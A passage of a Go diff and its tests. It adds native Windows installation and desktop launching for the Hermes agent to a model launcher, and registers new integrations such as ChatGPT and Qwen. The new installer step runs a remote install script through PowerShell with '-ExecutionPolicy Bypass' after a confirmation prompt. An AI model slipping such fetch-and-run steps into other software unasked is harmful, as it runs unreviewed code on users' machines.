+	return h.ensureInstalledFor("hermes")
+}
+
+func (h *Hermes) ensureInstalledFor(command string) error {
 	if h.installed() {
 		return nil
 	}
 
-	if hermesGOOS == "windows" {
-		return hermesWindowsHint()
-	}
-
 	var missing []string
-	for _, dep := range []string{"bash", "curl", "git"} {
-		if _, err := hermesLookPath(dep); err != nil {
-			missing = append(missing, dep)
+	if hermesGOOS != "windows" {
+		for _, dep := range []string{"bash", "curl", "git"} {
+			if _, err := hermesLookPath(dep); err != nil {
+				missing = append(missing, dep)
+			}
 		}
 	}
 	if len(missing) > 0 {
-		return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n  %s\n\nThen re-run:\n  ollama launch hermes", strings.Join(missing, "\n  "))
+		return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n  %s\n\nThen re-run:\n  ollama launch %s", strings.Join(missing, "\n  "), command)
 	}
 
 	ok, err := ConfirmPrompt("Hermes is not installed. Install now?")
@@ -210,7 +388,7 @@ func (h *Hermes) ensureInstalled() error {
 	}
 
 	fmt.Fprintf(os.Stderr, "\nInstalling Hermes...\n")
-	if err := hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run(); err != nil {
+	if err := h.runInstallScript(); err != nil {
 		return fmt.Errorf("failed to install hermes: %w", err)
 	}
 
@@ -222,6 +400,13 @@ func (h *Hermes) ensureInstalled() error {
 	return nil
 }
 
+func (h *Hermes) runInstallScript() error {
+	if hermesGOOS == "windows" {
+		return hermesAttachedCommand("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallCmd).Run()
+	}
+	return hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run()
+}
+
 func (h *Hermes) listModels(defaultModel string) []string {
 	client := hermesOllamaClient()
 	resp, err := client.List(context.Background())
@@ -259,7 +444,12 @@ func (h *Hermes) binary() (string, error) {
 	}
 
 	if hermesGOOS == "windows" {
-		return "", hermesWindowsHint()
+		for _, fallback := range hermesWindowsBinaryFallbacks() {
+			if _, err := os.Stat(fallback); err == nil {
+				return fallback, nil
+			}
+		}
+		return "", fmt.Errorf("hermes is not installed")
 	}
 
 	home, err := hermesUserHome()
@@ -274,12 +464,63 @@ func (h *Hermes) binary() (string, error) {
 	return "", fmt.Errorf("hermes is not installed")
 }
 
-func hermesConfigPath() (string, error) {
+func hermesWindowsBinaryFallbacks() []string {
+	var roots []string
+	add := func(root string) {
+		root = strings.TrimSpace(root)
+		if root != "" {
+			roots = append(roots, filepath.Clean(root))
+		}
+	}
+
+	add(os.Getenv("HERMES_HOME"))
+	add(os.Getenv("LOCALAPPDATA"))
+	if home, err := hermesUserHome(); err == nil {
+		add(filepath.Join(home, "AppData", "Local"))
+	}
+
+	seen := make(map[string]bool, len(roots))
+	var fallbacks []string
+	for _, root := range roots {
+		if seen[root] {
+			continue
+		}
+		seen[root] = true
+		fallbacks = append(fallbacks, filepath.Join(root, "hermes-agent", "venv", "Scripts", "hermes.exe"))
+		if filepath.Base(root) != "hermes" {
+			fallbacks = append(fallbacks, filepath.Join(root, "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"))
+		}
+	}
+	return fallbacks
+}
+
+func hermesHomePath() (string, error) {
+	if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
+		return filepath.Clean(hermesHome), nil
+	}
+	if hermesGOOS == "windows" {
+		if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
+			return filepath.Join(localAppData, "hermes"), nil
+		}
+		home, err := hermesUserHome()
+		if err != nil {
+			return "", err
+		}
+		return filepath.Join(home, "AppData", "Local", "hermes"), nil
+	}
 	home, err := hermesUserHome()
 	if err != nil {
 		return "", err
 	}
-	return filepath.Join(home, ".hermes", "config.yaml"), nil
+	return filepath.Join(home, ".hermes"), nil
+}
+
+func hermesConfigPath() (string, error) {
+	home, err := hermesHomePath()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(home, "config.yaml"), nil
 }
 
 func hermesBaseURL() string {
@@ -287,11 +528,11 @@ func hermesBaseURL() string {
 }
 
 func hermesEnvPath() (string, error) {
-	home, err := hermesUserHome()
+	home, err := hermesHomePath()
 	if err != nil {
 		return "", err
 	}
-	return filepath.Join(home, ".hermes", ".env"), nil
+	return filepath.Join(home, ".env"), nil
 }
 
 func (h *Hermes) runGatewaySetupPreflight(args []string, runSetup func() error) error {
@@ -671,9 +912,3 @@ func hermesAttachedCommand(name string, args ...string) *exec.Cmd {
 	cmd.Stderr = os.Stderr
 	return cmd
 }
-
-func hermesWindowsHint() error {
-	return fmt.Errorf("Hermes on Windows requires WSL2. Install WSL with: wsl --install\n" +
-		"Then run 'ollama launch hermes' from inside your WSL shell.\n" +
-		"Docs: https://hermes-agent.nousresearch.com/docs/getting-started/installation/")
-}

cmd/launch/hermes_test.go

@@ -8,6 +8,7 @@ import (
 	"os"
 	"path/filepath"
 	"runtime"
+	"slices"
 	"strings"
 	"testing"
 
@@ -65,6 +66,20 @@ func clearHermesMessagingEnvVars(t *testing.T) {
 	}
 }
 
+func clearHermesDesktopPackageEnvVars(t *testing.T) {
+	t.Helper()
+	for _, key := range []string{"HERMES_INSTALL_DIR", "HERMES_HOME", "LOCALAPPDATA"} {
+		if value, ok := os.LookupEnv(key); ok {
+			t.Setenv(key, value)
+		} else {
+			t.Setenv(key, "")
+		}
+		if err := os.Unsetenv(key); err != nil {
+			t.Fatalf("unset %s: %v", key, err)
+		}
+	}
+}
+
 func TestHermesIntegration(t *testing.T) {
 	h := &Hermes{}
 
@@ -408,19 +423,36 @@ func TestHermesConfigureMigratesLegacyManagedAliases(t *testing.T) {
 func TestHermesPathsUsesLocalConfigPathForNativeWindowsHermes(t *testing.T) {
 	tmpDir := t.TempDir()
 	winHome := filepath.Join(tmpDir, "winhome")
+	localAppData := filepath.Join(tmpDir, "LocalAppData")
 	setTestHome(t, winHome)
 	withHermesPlatform(t, "windows")
 	withHermesUserHome(t, winHome)
 	t.Setenv("PATH", tmpDir)
+	t.Setenv("LOCALAPPDATA", localAppData)
 	writeFakeBinary(t, tmpDir, "hermes")
 
 	got := (&Hermes{}).Paths()
-	want := filepath.Join(winHome, ".hermes", "config.yaml")
+	want := filepath.Join(localAppData, "hermes", "config.yaml")
 	if len(got) != 1 || got[0] != want {
 		t.Fatalf("expected local config path %q, got %v", want, got)
 	}
 }
 
+func TestHermesPathsUsesHermesHomeOverride(t *testing.T) {
+	tmpDir := t.TempDir()
+	hermesHome := filepath.Join(tmpDir, "custom-hermes-home")
+	setTestHome(t, filepath.Join(tmpDir, "home"))
+	withHermesPlatform(t, "windows")
+	t.Setenv("HERMES_HOME", hermesHome)
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
+
+	got := (&Hermes{}).Paths()
+	want := filepath.Join(hermesHome, "config.yaml")
+	if len(got) != 1 || got[0] != want {
+		t.Fatalf("expected HERMES_HOME config path %q, got %v", want, got)
+	}
+}
+
 func TestHermesCurrentModelRequiresHealthyManagedConfig(t *testing.T) {
 	tmpDir := t.TempDir()
 	setTestHome(t, tmpDir)
@@ -552,7 +584,7 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
 	}
 
 	h := &Hermes{}
-	if err := h.Run("", []string{"--continue"}); err != nil {
+	if err := h.Run("", nil, []string{"--continue"}); err != nil {
 		t.Fatalf("Run returned error: %v", err)
 	}
 
@@ -565,6 +597,314 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
 	}
 }
 
+func writeHermesDesktopPackage(t *testing.T, home string) {
+	t.Helper()
+	writeHermesDesktopExecutable(t,
+		filepath.Join(home, ".hermes", "hermes-agent", "apps", "desktop", "release"),
+		hermesDesktopTestExecutableRelativePath(hermesGOOS),
+	)
+}
+
+func writeHermesDesktopExecutable(t *testing.T, releaseRoot, relative string) {
+	t.Helper()
+	path := filepath.Join(releaseRoot, relative)
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(path, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func hermesDesktopTestExecutableRelativePath(goos string) string {
+	switch goos {
+	case "darwin":
+		return filepath.Join("mac-arm64", "Hermes.app", "Contents", "MacOS", "Hermes")
+	case "windows":
+		return filepath.Join("win-unpacked", "Hermes.exe")
+	default:
+		return filepath.Join("linux-unpacked", "hermes")
+	}
+}
+
+func writeHermesDesktopTestBinary(t *testing.T, dir string) {
+	t.Helper()
+	bin := filepath.Join(dir, "hermes")
+	if err := os.WriteFile(bin, []byte("#!/bin/sh\nif [ \"$1\" = \"--version\" ]; then\n  printf 'Hermes Agent v0.16.0 (2026.6.5)\\n'\n  exit 0\nfi\nprintf '[%s]\\n' \"$*\" >> \"$HOME/hermes-invocations.log\"\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func readHermesDesktopInvocations(t *testing.T, home string) string {
+	t.Helper()
+	data, err := os.ReadFile(filepath.Join(home, "hermes-invocations.log"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func TestHermesDesktopRun(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("uses a POSIX shell test binary")
+	}
+
+	tests := []struct {
+		name        string
+		goos        string
+		args        []string
+		hasPackage  bool
+		clearPkgEnv bool
+		want        string
+	}{
+		{
+			name:        "desktop subcommand",
+			goos:        "darwin",
+			args:        []string{"--foreground"},
+			clearPkgEnv: true,
+			want:        "[desktop --foreground]",
+		},
+		{
+			name:       "skip build when packaged app exists",
+			goos:       runtime.GOOS,
+			args:       []string{"--cwd", "/tmp/project"},
+			hasPackage: true,
+			want:       "[desktop --skip-build --cwd /tmp/project]",
+		},
+		{
+			name:       "explicit skip build",
+			goos:       runtime.GOOS,
+			args:       []string{"--skip-build"},
+			hasPackage: true,
+			want:       "[desktop --skip-build]",
+		},
+		{
+			name:       "source mode",
+			goos:       runtime.GOOS,
+			args:       []string{"--source"},
+			hasPackage: true,
+			want:       "[desktop --source]",
+		},
+		{
+			name:       "build only",
+			goos:       runtime.GOOS,
+			args:       []string{"--build-only"},
+			hasPackage: true,
+			want:       "[desktop --build-only]",
+		},
+		{
+			name:       "help",
+			goos:       runtime.GOOS,
+			args:       []string{"--help"},
+			hasPackage: true,
+			want:       "[desktop --help]",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			tmpDir := t.TempDir()
+			setTestHome(t, tmpDir)
+			withLauncherHooks(t)
+			withInteractiveSession(t, true)
+			withHermesPlatform(t, tt.goos)
+			clearHermesMessagingEnvVars(t)
+			if tt.clearPkgEnv {
+				clearHermesDesktopPackageEnvVars(t)
+			}
+			t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+			if tt.hasPackage {
+				writeHermesDesktopPackage(t, tmpDir)
+			}
+			writeHermesDesktopTestBinary(t, tmpDir)
+
+			DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+				t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
+				return false, nil
+			}
+
+			if err := (&HermesDesktop{}).Run("", nil, tt.args); err != nil {
+				t.Fatalf("Run returned error: %v", err)
+			}
+			if got := readHermesDesktopInvocations(t, tmpDir); got != tt.want {
+				t.Fatalf("expected %q, got %q", tt.want, got)
+			}
+		})
+	}
+}
+
+func writeHermesVersionedTestBinary(t *testing.T, dir, version string) {
+	t.Helper()
+	script := "#!/bin/sh\n" +
+		"case \"$1\" in\n" +
+		"  --version)\n" +
+		"    printf 'Hermes Agent " + version + " (test)\\n'\n" +
+		"    ;;\n" +
+		"  update)\n" +
+		"    printf 'update\\n' >> \"$HOME/hermes-update.log\"\n" +
+		"    ;;\n" +
+		"  *)\n" +
+		"    printf '[%s]\\n' \"$*\" >> \"$HOME/hermes-invocations.log\"\n" +
+		"    ;;\n" +
+		"esac\n"
+	bin := filepath.Join(dir, "hermes")
+	if err := os.WriteFile(bin, []byte(script), 0o755); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestParseHermesVersion(t *testing.T) {
+	tests := []struct {
+		name  string
+		input string
+		want  string
+	}{
+		{"standard release", "Hermes Agent v0.16.0 (2026.6.5)", "v0.16.0"},
+		{"newer release", "Hermes Agent v0.17.0 (2026.6.19)", "v0.17.0"},
+		{"older release", "Hermes Agent v0.15.1 (2026.5.29)", "v0.15.1"},
+		{"prerelease", "Hermes Agent v0.16.0-rc1 (2026.6.5)", "v0.16.0-rc1"},
+		{"no version token", "Hermes Agent", ""},
+		{"empty", "", ""},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := parseHermesVersion(tt.input); got != tt.want {
+				t.Fatalf("parseHermesVersion(%q) = %q, want %q", tt.input, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestHermesDesktopRun_UpdatesCliOlderThanMinVersion(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("uses a POSIX shell test binary")
+	}
+
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withLauncherHooks(t)
+	withInteractiveSession(t, true)
+	withHermesPlatform(t, runtime.GOOS)
+	clearHermesMessagingEnvVars(t)
+	clearHermesDesktopPackageEnvVars(t)
+	t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+	writeHermesVersionedTestBinary(t, tmpDir, "v0.15.1")
+
+	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+		t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
+		return false, nil
+	}
+
+	if err := (&HermesDesktop{}).Run("", nil, []string{"--foreground"}); err != nil {
+		t.Fatalf("Run returned error: %v", err)
+	}
+
+	updateLog, err := os.ReadFile(filepath.Join(tmpDir, "hermes-update.log"))
+	if err != nil {
+		t.Fatalf("expected hermes update to run for an older CLI: %v", err)
+	}
+	if strings.TrimSpace(string(updateLog)) != "update" {
+		t.Fatalf("expected update log 'update', got %q", updateLog)
+	}
+	if got := readHermesDesktopInvocations(t, tmpDir); got != "[desktop --foreground]" {
+		t.Fatalf("expected desktop launch after update, got %q", got)
+	}
+}
+
+func TestHermesDesktopRun_SkipsMinVersionCheckOnWindows(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("uses a POSIX shell test binary")
+	}
+
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withLauncherHooks(t)
+	withInteractiveSession(t, true)
+	withHermesPlatform(t, "windows")
+	clearHermesMessagingEnvVars(t)
+	clearHermesDesktopPackageEnvVars(t)
+	t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+	writeHermesVersionedTestBinary(t, tmpDir, "v0.15.1")
+
+	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+		t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
+		return false, nil
+	}
+
+	if err := (&HermesDesktop{}).Run("", nil, []string{"--foreground"}); err != nil {
+		t.Fatalf("Run returned error: %v", err)
+	}
+
+	if _, err := os.Stat(filepath.Join(tmpDir, "hermes-update.log")); err == nil {
+		t.Fatal("expected hermes update NOT to run on Windows, but hermes-update.log exists")
+	}
+	if got := readHermesDesktopInvocations(t, tmpDir); got != "[desktop --foreground]" {
+		t.Fatalf("expected desktop launch without update, got %q", got)
+	}
+}
+
+func TestHermesDesktopRun_DoesNotUpdateCliAtOrAboveMinVersion(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("uses a POSIX shell test binary")
+	}
+
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withLauncherHooks(t)
+	withInteractiveSession(t, true)
+	withHermesPlatform(t, runtime.GOOS)
+	clearHermesMessagingEnvVars(t)
+	clearHermesDesktopPackageEnvVars(t)
+	t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+	writeHermesVersionedTestBinary(t, tmpDir, "v0.17.0")
+
+	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+		t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
+		return false, nil
+	}
+
+	if err := (&HermesDesktop{}).Run("", nil, []string{"--foreground"}); err != nil {
+		t.Fatalf("Run returned error: %v", err)
+	}
+
+	if _, err := os.Stat(filepath.Join(tmpDir, "hermes-update.log")); err == nil {
+		t.Fatal("expected hermes update NOT to run for a current CLI, but hermes-update.log exists")
+	}
+	if got := readHermesDesktopInvocations(t, tmpDir); got != "[desktop --foreground]" {
+		t.Fatalf("expected desktop launch without update, got %q", got)
+	}
+}
+
+func TestHermesDesktopRunUsesWindowsLocalAppDataPackage(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withHermesPlatform(t, "windows")
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
+
+	writeHermesDesktopExecutable(t,
+		filepath.Join(tmpDir, "LocalAppData", "hermes", "hermes-agent", "apps", "desktop", "release"),
+		hermesDesktopTestExecutableRelativePath("windows"),
+	)
+
+	got := (&HermesDesktop{}).launchArgs([]string{"--cwd", `C:\Users\me\project`})
+	want := []string{"desktop", "--skip-build", "--cwd", `C:\Users\me\project`}
+	if diff := compareStrings(got, want); diff != "" {
+		t.Fatalf("Hermes Desktop launch args mismatch: %s", diff)
+	}
+}
+
+func TestHermesDesktopReleaseRootsIncludeLinuxRootInstall(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withHermesPlatform(t, "linux")
+
+	got := hermesDesktopReleaseRoots()
+	want := filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent", "apps", "desktop", "release")
+	if !slices.Contains(got, want) {
+		t.Fatalf("expected Linux root install release path %q in %v", want, got)
+	}
+}
+
 func TestHermesRun_PromptsForMessagingSetupBeforeDefaultLaunch(t *testing.T) {
 	if runtime.GOOS == "windows" {
 		t.Skip("uses a POSIX shell test binary")
@@ -603,7 +943,7 @@ fi
 	}
 
 	h := &Hermes{}
-	if err := h.Run("", nil); err != nil {
+	if err := h.Run("", nil, nil); err != nil {
 		t.Fatalf("Run returned error: %v", err)
 	}
 
@@ -655,10 +995,10 @@ func TestHermesRun_SetUpLaterRepromptsOnLaterLaunches(t *testing.T) {
 	}
 
 	h := &Hermes{}
-	if err := h.Run("", nil); err != nil {
+	if err := h.Run("", nil, nil); err != nil {
 		t.Fatalf("first Run returned error: %v", err)
 	}
-	if err := h.Run("", nil); err != nil {
+	if err := h.Run("", nil, nil); err != nil {
 		t.Fatalf("second Run returned error: %v", err)
 	}
 
@@ -713,7 +1053,7 @@ func TestHermesRun_SkipsMessagingPromptWhenConfigured(t *testing.T) {
 	}
 
 	h := &Hermes{}
-	if err := h.Run("", nil); err != nil {
+	if err := h.Run("", nil, nil); err != nil {
 		t.Fatalf("Run returned error: %v", err)
 	}
 
@@ -753,7 +1093,7 @@ func TestHermesRun_SkipsMessagingPromptWithYesPolicy(t *testing.T) {
 	}
 
 	h := &Hermes{}
-	if err := h.Run("", nil); err != nil {
+	if err := h.Run("", nil, nil); err != nil {
 		t.Fatalf("Run returned error: %v", err)
 	}
 
@@ -798,7 +1138,7 @@ fi
 	}
 
 	h := &Hermes{}
-	err := h.Run("", nil)
+	err := h.Run("", nil, nil)
 	if err == nil {
 		t.Fatal("expected messaging setup failure")
 	}
@@ -943,26 +1283,59 @@ func TestHermesMessagingConfiguredRecognizesSupportedGatewayVars(t *testing.T) {
 	}
 }
 
-func TestHermesEnsureInstalledWindowsShowsWSLGuidance(t *testing.T) {
+func TestHermesEnsureInstalledWindowsRunsPowerShellInstaller(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("uses a POSIX shell test binary")
+	}
+
 	tmpDir := t.TempDir()
 	setTestHome(t, tmpDir)
+	withLauncherHooks(t)
 	withHermesPlatform(t, "windows")
 	t.Setenv("PATH", tmpDir)
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "AppData", "Local"))
+
+	powershell := filepath.Join(tmpDir, "powershell.exe")
+	script := fmt.Sprintf(`#!/bin/sh
+printf '%%s\n' "$*" >> %q
+/bin/mkdir -p %q
+/bin/cat > %q <<'EOS'
+#!/bin/sh
+exit 0
+EOS
+/bin/chmod +x %q
+exit 0
+`,
+		filepath.Join(tmpDir, "powershell.log"),
+		filepath.Dir(filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe")),
+		filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
+		filepath.Join(tmpDir, "AppData", "Local", "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"),
+	)
+	if err := os.WriteFile(powershell, []byte(script), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+		if prompt != "Hermes is not installed. Install now?" {
+			t.Fatalf("unexpected install prompt %q", prompt)
+		}
+		return true, nil
+	}
 
 	h := &Hermes{}
-	err := h.ensureInstalled()
-	if err == nil {
-		t.Fatal("expected WSL guidance error")
+	if err := h.ensureInstalled(); err != nil {
+		t.Fatalf("ensureInstalled returned error: %v", err)
 	}
-	msg := err.Error()
-	if !strings.Contains(msg, "wsl --install") {
-		t.Fatalf("expected install command in guidance, got %v", err)
+
+	data, err := os.ReadFile(filepath.Join(tmpDir, "powershell.log"))
+	if err != nil {
+		t.Fatal(err)
 	}
-	if !strings.Contains(msg, "hermes-agent.nousresearch.com") {
-		t.Fatalf("expected docs link in guidance, got %v", err)
-	}
-	if strings.Contains(msg, "hermes is not installed") {
-		t.Fatalf("guidance should not lead with 'hermes is not installed', got %v", err)
+	logs := string(data)
+	for _, want := range []string{"-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallURL, "-SkipSetup"} {
+		if !strings.Contains(logs, want) {
+			t.Fatalf("expected PowerShell installer args to contain %q, got logs:\n%s", want, logs)
+		}
 	}
 }
 

cmd/launch/integrations_test.go

@@ -25,7 +25,7 @@ type stubEditorRunner struct {
 	editErr  error
 }
 
-func (s *stubEditorRunner) Run(model string, args []string) error {
+func (s *stubEditorRunner) Run(model string, _ []LaunchModel, args []string) error {
 	s.ranModel = model
 	return nil
 }
@@ -34,11 +34,11 @@ func (s *stubEditorRunner) String() string { return "StubEditor" }
 
 func (s *stubEditorRunner) Paths() []string { return nil }
 
-func (s *stubEditorRunner) Edit(models []string) error {
+func (s *stubEditorRunner) Edit(models []LaunchModel) error {
 	if s.editErr != nil {
 		return s.editErr
 	}
-	cloned := append([]string(nil), models...)
+	cloned := launchModelNames(models)
 	s.edited = append(s.edited, cloned)
 	return nil
 }
@@ -58,9 +58,15 @@ func TestIntegrationLookup(t *testing.T) {
 		{"claude desktop", "claude-desktop", true, "Claude Desktop"},
 		{"claude desktop alias", "claude-app", true, "Claude Desktop"},
 		{"codex", "codex", true, "Codex"},
+		{"chatgpt", "chatgpt", true, "ChatGPT"},
+		{"codex app legacy alias", "codex-app", true, "ChatGPT"},
+		{"codex app desktop alias", "codex-desktop", true, "ChatGPT"},
+		{"codex app gui alias", "codex-gui", true, "ChatGPT"},
+		{"hermes desktop", "hermes-desktop", true, "Hermes Desktop"},
 		{"kimi", "kimi", true, "Kimi Code CLI"},
 		{"droid", "droid", true, "Droid"},
 		{"opencode", "opencode", true, "OpenCode"},
+		{"omp", "omp", true, "OMP"},
 		{"pool", "pool", true, "Pool"},
 		{"unknown integration", "unknown", false, ""},
 		{"empty string", "", false, ""},
@@ -80,7 +86,7 @@ func TestIntegrationLookup(t *testing.T) {
 }
 
 func TestIntegrationRegistry(t *testing.T) {
-	expectedIntegrations := []string{"claude", "claude-desktop", "codex", "kimi", "droid", "opencode", "hermes", "pool"}
+	expectedIntegrations := []string{"claude", "claude-desktop", "cline", "codex", "chatgpt", "kimi", "droid", "opencode", "omp", "hermes", "hermes-desktop", "pool", "qwen"}
 	for _, name := range expectedIntegrations {
 		t.Run(name, func(t *testing.T) {
 			r, ok := integrations[name]
@@ -94,10 +100,34 @@ func TestIntegrationRegistry(t *testing.T) {
 	}
 }
 
+func TestChatGPTMigratesLegacyCodexAppLaunchConfig(t *testing.T) {
+	setTestHome(t, t.TempDir())
+	if err := config.SaveIntegration(codexAppIntegrationName, []string{"qwen3.5"}); err != nil {
+		t.Fatal(err)
+	}
+	if err := config.MarkIntegrationOnboarded(codexAppIntegrationName); err != nil {
+		t.Fatal(err)
+	}
+
+	got, err := loadStoredIntegrationConfig(chatGPTIntegrationName)
+	if err != nil {
+		t.Fatalf("loadStoredIntegrationConfig returned error: %v", err)
+	}
+	if diff := compareStrings(got.Models, []string{"qwen3.5"}); diff != "" {
+		t.Fatalf("migrated models mismatch: %s", diff)
+	}
+	if !got.Onboarded {
+		t.Fatal("migrated integration should remain onboarded")
+	}
+	if _, err := config.LoadIntegration(chatGPTIntegrationName); err != nil {
+		t.Fatalf("canonical ChatGPT config was not written: %v", err)
+	}
+}
+
 func TestHiddenIntegrationsExcludedFromVisibleLists(t *testing.T) {
 	for _, info := range ListIntegrationInfos() {
 		switch info.Name {
-		case "cline", "vscode", "kimi":
+		case "vscode", "kimi":
 			t.Fatalf("hidden integration %q should not appear in ListIntegrationInfos", info.Name)
 		}
 	}
@@ -203,7 +233,7 @@ func TestAllIntegrations_HaveRequiredMethods(t *testing.T) {
 			if displayName == "" {
 				t.Error("String() should not return empty")
 			}
-			var _ func(string, []string) error = r.Run
+			var _ func(string, []LaunchModel, []string) error = r.Run
 		})
 	}
 }
@@ -478,11 +508,11 @@ func TestBuildModelList_ExistingRecommendedMarked(t *testing.T) {
 func TestBuildModelList_PreservesRecommendationRequiredPlanForExistingCloudModel(t *testing.T) {
 	recommendations := []ModelItem{
 		{
-			Name:          "glm-5:cloud",
-			Description:   "Reasoning and code generation",
-			Recommended:   true,
-			RequiredPlan:  "pro",
-			ContextLength: 202_752,
+			Name:         "glm-5:cloud",
+			Description:  "Reasoning and code generation",
+			Recommended:  true,
+			RequiredPlan: "pro",
+			Details:      api.ModelDetails{ContextLength: 202_752},
 		},
 	}
 	existing := []modelInfo{{Name: "glm-5:cloud", Remote: true}}
@@ -863,7 +893,7 @@ func TestPrepareEditorIntegration_SavesOnlyAfterSuccessfulEdit(t *testing.T) {
 	}
 
 	editor := &stubEditorRunner{editErr: errors.New("boom")}
-	err := prepareEditorIntegration("droid", editor, []string{"new-model"})
+	err := prepareEditorIntegration("droid", editor, testLaunchModels("new-model"))
 	if err == nil || !strings.Contains(err.Error(), "setup failed") {
 		t.Fatalf("expected setup failure, got %v", err)
 	}
@@ -1076,6 +1106,51 @@ func TestShowOrPullWithPolicy_CloudModelNotFound_FailsEarlyForAllPolicies(t *tes
 	}
 }
 
+func TestShowOrPullWithPolicy_CloudModelShowUnavailableAllowsSelection(t *testing.T) {
+	oldHook := DefaultConfirmPrompt
+	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
+		t.Fatal("confirm prompt should not be called for explicit cloud models")
+		return false, nil
+	}
+	defer func() { DefaultConfirmPrompt = oldHook }()
+
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		switch r.URL.Path {
+		case "/api/show":
+			w.WriteHeader(http.StatusInternalServerError)
+			fmt.Fprintf(w, `{"error":"temporary failure"}`)
+		case "/api/status":
+			w.WriteHeader(http.StatusInternalServerError)
+			fmt.Fprintf(w, `{"error":"temporary failure"}`)
+		case "/api/pull":
+			t.Fatal("pull should not be called for explicit cloud models")
+		default:
+			w.WriteHeader(http.StatusNotFound)
+		}
+	}))
+	defer srv.Close()
+
+	u, _ := url.Parse(srv.URL)
+	client := api.NewClient(u, srv.Client())
+
+	if err := showOrPullWithPolicy(context.Background(), client, "glm-5.1:cloud", missingModelFail, true); err != nil {
+		t.Fatalf("showOrPullWithPolicy returned error: %v", err)
+	}
+}
+
+func TestShowOrPullWithPolicy_CloudModelShowUnreachableAllowsSelection(t *testing.T) {
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		t.Fatalf("unexpected request after server close: %s %s", r.Method, r.URL.Path)
+	}))
+	u, _ := url.Parse(srv.URL)
+	client := api.NewClient(u, srv.Client())
+	srv.Close()
+
+	if err := showOrPullWithPolicy(context.Background(), client, "glm-5.1:cloud", missingModelFail, true); err != nil {
+		t.Fatalf("showOrPullWithPolicy returned error: %v", err)
+	}
+}
+
 func TestShowOrPullWithPolicy_CloudModelDisabled_FailsWithCloudDisabledError(t *testing.T) {
 	oldHook := DefaultConfirmPrompt
 	DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
@@ -1737,6 +1812,11 @@ func TestIntegration_InstallHint(t *testing.T) {
 			input:   "codex",
 			wantURL: "https://developers.openai.com/codex/cli/",
 		},
+		{
+			name:    "chatgpt has hint",
+			input:   "chatgpt",
+			wantURL: "https://chatgpt.com/download",
+		},
 		{
 			name:    "openclaw has hint",
 			input:   "openclaw",
@@ -1752,6 +1832,11 @@ func TestIntegration_InstallHint(t *testing.T) {
 			input:     "unknown",
 			wantEmpty: true,
 		},
+		{
+			name:    "qwen uses official install page",
+			input:   "qwen",
+			wantURL: "https://qwen.ai/qwencode",
+		},
 		{
 			name:      "empty name has no hint",
 			input:     "",
@@ -1813,11 +1898,38 @@ func TestListIntegrationInfos(t *testing.T) {
 			}
 			want = filtered
 		}
+		if codexAppSupported() != nil {
+			filtered := make([]string, 0, len(want))
+			for _, name := range want {
